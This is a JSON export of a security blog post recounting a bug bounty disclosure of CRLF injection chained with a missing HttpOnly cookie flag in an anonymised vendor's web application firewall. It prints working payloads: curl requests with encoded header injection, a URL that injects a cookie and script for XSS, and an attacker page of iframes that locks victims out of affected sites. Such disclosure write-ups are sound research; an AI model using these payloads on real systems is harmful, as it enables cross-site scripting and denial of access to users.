{"id":747,"date":"2020-05-12T13:23:36","date_gmt":"2020-05-12T13:23:36","guid":{"rendered":"https:\/\/hackemall.live\/?p=747"},"modified":"2020-06-15T01:21:35","modified_gmt":"2020-06-15T01:21:35","slug":"web-application-firewall-exploit-if-you-cannot-protect-yourself-who-can-you-protect","status":"publish","type":"post","link":"https:\/\/hackemall.live\/index.php\/2020\/05\/12\/web-application-firewall-exploit-if-you-cannot-protect-yourself-who-can-you-protect\/","title":{"rendered":"Web Application Firewall Exploit: If you cannot protect yourself, who can you protect?"},"content":{"rendered":"\n

Hi guys,
As my previous article about web application firewall (WAF) bypass \/ exploit series<\/a>, today I will write my experience when exploit another popular WAF from a local vendor in Vietnam which also has a bug bounty platform, this is the first time I reported a vulnerability to a bug bounty platform in Vietnam. However, due to the limited disclosure ?!? from that vendor (why limited? I will explain in the end of this article), I will name the vendor in my article is Company-X<\/span><\/strong>, name the vulnerable WAF is WAF-DIRTYCLOUD<\/span><\/strong> and name the bug bounty platform is Platform\u2013Z<\/span><\/strong>. Okay let\u2019s go.

<\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n

0x01: The Stumble Upon.<\/span><\/strong><\/h2>\n\n\n\n

I and my teammate 0m3g4 did some notice about Company-X structure and got an interested thing. We found that multiple Company-X sites were implemented WAF-DIRTYCLOUD \/ load balancer. Basically WAF-DIRTYCLOUD itself vulnerable to CRLF injection. So, we chain 02 security vulnerabilities and can trigger XSS from victim side and block victim access to any vulnerable site due to incorrect cookie implement.<\/p>\n\n\n\n

So, when a site \/ page was protected by a WAF and this WAF also had a security vulnerability \u00af_(\u30c4)_\/\u00af<\/p>\n\n\n\n

<\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n

0x02: The Journey of Chained 02 Security Vulnerabilities.<\/span><\/strong><\/h2>\n\n\n\n

In this article, I will call the vulnerable site is: http:\/\/0x1337.space<\/a><\/span><\/strong>.

a) The first vulnerability: CRLF injection<\/strong>

So in the first sign, we known that the page http:\/\/0x1337.space<\/a><\/strong> was vulnerable with CRLF injection. The request I used simply
In your bash script simply run:<\/p>\n\n\n\n

curl -ik \"0x1337.space\/yyyyyaaayyyyyyy?y1uvc%0D%0A0m3g4:0m3g4ismyhero%0D%0AContent-Type:text\/html%0D%0Aducnt:1337%0D%0A\"<\/code><\/pre>\n\n\n\n
and the response similar in below:<\/p>\n\n\n\n
HTTP\/1.1 200 OK\nContent-Length: 177\nLocation: http:\/\/0x1337.space\/?y1uvc\n0m3g4:0m3g4ismyhero\nContent-Type:text\/html\nducnt:1337\nDate: 07 May 2020 15:53:42 GMT\nContent-Type: text\/html\nServer: Unknown\n\n<html><body><script>document.cookie=\"ABCD=df1b9a704851c4998219d38f8e483069\"+\"; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=\/\";window.location.reload(true);<\/script><\/body><\/html><\/code><\/pre>\n\n\n\n
\"\"
CRLF<\/figcaption><\/figure><\/div>\n\n\n\n
b) The second vulnerability: Incorrect cookie setting from WAF-DIRTYCLOUD<\/strong>.
<\/strong>
When access to any Company-X sites that implement WAF-DIRTYCLOUD<\/strong>. Bassically, WAF-DIRTYCLOUD<\/strong> used javascript for setting a cookie with the name is ABCD<\/span><\/strong><\/code> corresponding with a md5 token value for tracking. The vulnerability at here is about that WAF-DIRTYCLOUD<\/strong> forgot to set HttpOnly <\/span><\/strong>flag for the cookie in other words that cannot set HttpOnly <\/span><\/strong>flag when using javascript. :cool-WAF:<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Request<\/strong>:<\/em><\/p>\n\n\n\n
In your bash terminal, simply running this command:<\/p>\n\n\n\n
curl -ik \"0x1337.space\"<\/code><\/pre>\n\n\n\n
Response:<\/strong><\/em><\/p>\n\n\n\n
HTTP\/1.1 200 OK\nContent-Length: 177\nLocation: http:\/\/0x1337.space\/\nDate: 07 May 2020 15:50:20 GMT\nContent-Type: text\/html\nServer: Unknown\n\n<html><body><script>document.cookie=\"ABCD=df1b9a704851c4998219d38f8e483069\"+\"; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=\/\";window.location.reload(true);<\/script><\/body><\/html><\/code><\/pre>\n\n\n\n
\"\"
No HttpOnly flag when using javascript for setting cookie<\/figcaption><\/figure><\/div>\n\n\n\n
c) Chained 02 security vulnerabilities.
<\/strong>
So with the (b) section above, I think you asking yourself what is the vulnerability from here?. Bassically, if a cookie forgot to set HttpOnly <\/span><\/strong>flag, if there is a XSS vulnerability, attacker javascript payload easily access that cookie but that belong to the XSS problem. In this context of my article, I want to talk about somehow if ABCD<\/span><\/strong><\/code> cookie was set before and HttpOnly<\/span> <\/strong>flag was enabled too, what problem will happen with WAF-DIRTYCLOUD<\/strong> behavior?<\/p>\n\n\n\n
Exploiting XSS vulnerability:<\/strong><\/p>\n\n\n\n
So with only the first vulnerability, we can easily trigger a XSS vulnerability.

Request<\/strong>:
<\/em>Simply access to below URL:<\/p>\n\n\n\n
http://0x1337.space\/yyyyyaaayyyyyyy?y1uvc%0D%0A0m3g4:0m3g4ismyhero%0D%0AContent-Type:text\/html%0D%0ASet-Cookie:ABCD=ducnt1337;expires=Fri,%2031%20Dec%209999%2023:59:59%20GMT;path=\/%0D%0A%0D%0A%3Chtml%3E%3Cscript%3Ealert(document.domain)%3C\/script%3E%3C\/html%3E%3C%21--%0D%0A%0D%0A<\/code><\/pre>\n\n\n\n
\"\"
XSS triggered<\/figcaption><\/figure><\/div>\n\n\n\n
What’s your feel now? Implement WAF for prevent XSS exploit and WAF is the reason cause the XSS problem on your site. \"\"<\/p>\n\n\n\n
Exploiting access blocked:<\/strong><\/p>\n\n\n\n
Exploit scenario:<\/em>

<\/em>1. Attacker host exploit script on the attacker site, for example: https:\/\/hackemall.live\/hack.html (j\/k :D). The exploit script similar that:<\/p>\n\n\n\n
$ cat hack.html\n<iframe src = \"http:\/\/abc.0x1337.space\/yyyyyaaayyyyyyy?y1uvc%0D%0A0m3g4:0m3g4ismyhero%0D%0AContent-Type:text\/html%0D%0ASet-Cookie:ABCD=concac;expires=Fri,%2031%20Dec%209999%2023:59:59%20GMT;path=\/;HttpOnly%0D%0A%0D%0A%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C\/script%3E%3C\/html%3E%3C!--%0D%0A%0D%0A\">gopro<\/iframe>\n<iframe src = \"http:\/\/xyz.0x1337.space\/yyyyyaaayyyyyyy?y1uvc%0D%0A0m3g4:0m3g4ismyhero%0D%0AContent-Type:text\/html%0D%0ASet-Cookie:ABCD=concac;expires=Fri,%2031%20Dec%209999%2023:59:59%20GMT;path=\/;HttpOnly%0D%0A%0D%0A%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C\/script%3E%3C\/html%3E%3C!--%0D%0A%0D%0A\">gopro<\/iframe>\n<iframe src = \"http:\/\/123.0x1337.space\/yyyyyaaayyyyyyy?y1uvc%0D%0A0m3g4:0m3g4ismyhero%0D%0AContent-Type:text\/html%0D%0ASet-Cookie:ABCD=concac;expires=Fri,%2031%20Dec%209999%2023:59:59%20GMT;path=\/;HttpOnly%0D%0A%0D%0A%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C\/script%3E%3C\/html%3E%3C!--%0D%0A%0D%0A\">gopro<\/iframe><\/code><\/pre>\n\n\n\n
2. Victim access to the attacker site, so victim cannot access to the http:\/\/abc.0x1337.space<\/a>, http:\/\/xyz.0x1337.space<\/a> and http:\/\/123.0×1337.space<\/a><\/p>\n\n\n\n
3. How? \"\"<\/p>\n\n\n\n
To exploit access blocked, we chained 02 security vulnerabilities that I told above. The idea is using CRLF for setting a cookie with enable HttpOnly <\/span><\/strong>flag. After that, when victim access to the vulnerable site that attacker exploit above on the exploit script, WAF-DIRTYCLOUD<\/span><\/strong> will set ABCD<\/span><\/strong> cookie by using javascript. However the cookie exist before due to the attacker exploit and it also enabled HttpOnly<\/span><\/strong> flag (by CRLF injection), so WAF-DIRTYCLOUD<\/span><\/strong> cannot set ABCD<\/span><\/strong> cookie, try again, try again until timeout and will redirect to the WAF-DIRTYCLOUD<\/span><\/strong> error page. So the victim cannot access to the page was exploited. This attack will success when victim never access to the page was exploited before or victim just clear all the cookie from browser by somehow.

<\/p>\n\n\n\n
\"\"
Exploit successfully, access blocked<\/figcaption><\/figure>\n\n\n\n
0x03: The number of affected site in our report, the vendor response \/ action and my thought.<\/span><\/strong><\/h2>\n\n\n\n
Which sites \/ domains are<\/strong> affected?<\/strong><\/p>\n\n\n\n
Any sites \/ domains implement WAF-DIRTYCLOUD are affected<\/strong> except there is a patch from vendor apply to that sites \/ domains.<\/p>\n\n\n\n
The information from our report:<\/strong><\/p>\n\n\n\n
So, I quickly draft a report, navigate to the vendor’s bug bounty platform and looking for the WAF-DIRTYCLOUD program. The vulnerability itself caused by WAF-DIRTYCLOUD but I cannot see WAF-DIRTYCLOUD program on the bug bounty platform from that vendor. However, the fun fact that vendor’s bug bounty platform also used WAF-DIRTYCLOUD and the platform itself was affected too.<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
The number of vulnerable sites \/ domains in our report (included the bug bounty platform site).<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
The Company-X<\/span> (Blue \/ Incident Response (IR) team) action:<\/strong><\/p>\n\n\n\n
From original in my report<\/em><\/p>\n\n\n\n
Update - Company-X Incident Response Team ?!?:\nToday (2020\/05\/07) from 19h GMT+7, Company-X Incident Response Team ?!? had a quick job that fix CRLF Injection that affect to WAF-DIRTYCLOUD. So many sites \/ domains was patched. However the patch still miss some sites \/ domains. So I still reproduce this and we decided report this vulnerability to Company-X via Platform-Z.<\/code><\/pre>\n\n\n\n
So, somehow the vulnerability was patched quickly. Kudos to blue \/ IR team for a working hard.

The next day, staff of the vendor response to my report and field it was a duplicate with a private program, not so lucky for the first time report to a bug bounty platform program in Vietnam :D.

However, my report was duplicated and the vendor also had a patch, due to the huge <\/strong>of the risk of this vulnerability. I asked them for public disclosure this vulnerability and vendor just accept limited public disclosure !?! (yes, limited public disclosure for a public program and the patch also provided<\/strong>)

<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
I’m okay with this because my first intend when I public disclosure, I will limited disclosure and hide the vendor name also the WAF. That’s okay and this article will only focus on the technique. <\/p>\n\n\n\n
0x04: Takeaway and bonus<\/strong>.<\/span><\/h2>\n\n\n\n
To Vietnam community (#vicongdong):<\/strong><\/p>\n\n\n\n
I think this security vulnerability has a huge impact, patch this vulnerability in the rightway that affect to all of sites \/ domains that implement the WAF-DIRTYCLOUD really hard and the number of vulnerable sites \/ domains too many. So protect yourself.<\/p>\n\n\n\n
To bug bounty hunter \/ \u00a0security researcher<\/strong> and my thought:<\/strong><\/p>\n\n\n\n
If you find a vulnerability that affected with large range (many sites \/ domains affected), I think you should be reward more also got some bonus from the vendor. Not only field in a duplicate and thanks and got points and they hope you submit any future security issues from you find<\/strong><\/em><\/code>. That’s not worthy with the time you spent. So that is the reason I rarely (never before) submit security vulnerability to a platform in my local country, not professional.<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Bonus:<\/strong> Peace, No War<\/em><\/strong><\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
Thanks for reading and as usually, sorry for my bad engrisk \ud83d\ude06.
~Cheers,<\/strong>
ducnt<\/a><\/p>\n\n\n\n
References<\/strong>:
https:\/\/www.google.com\/about\/appsecurity\/<\/a>
<\/p>\n","protected":false},"excerpt":{"rendered":"
Hi guys,As my previous article about web application firewall (WAF) bypass \/ exploit series, today I will write my experience when exploit another popular WAF from a local vendor in Vietnam which also has a bug bounty platform, this is the first time I reported a vulnerability to a bug bounty platform in Vietnam. However, […]<\/p>\n","protected":false},"author":2,"featured_media":858,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,9,3,5],"tags":[],"_links":{"self":[{"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/posts\/747"}],"collection":[{"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/comments?post=747"}],"version-history":[{"count":90,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/posts\/747\/revisions"}],"predecessor-version":[{"id":888,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/posts\/747\/revisions\/888"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/media\/858"}],"wp:attachment":[{"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/media?parent=747"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/categories?post=747"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/tags?post=747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}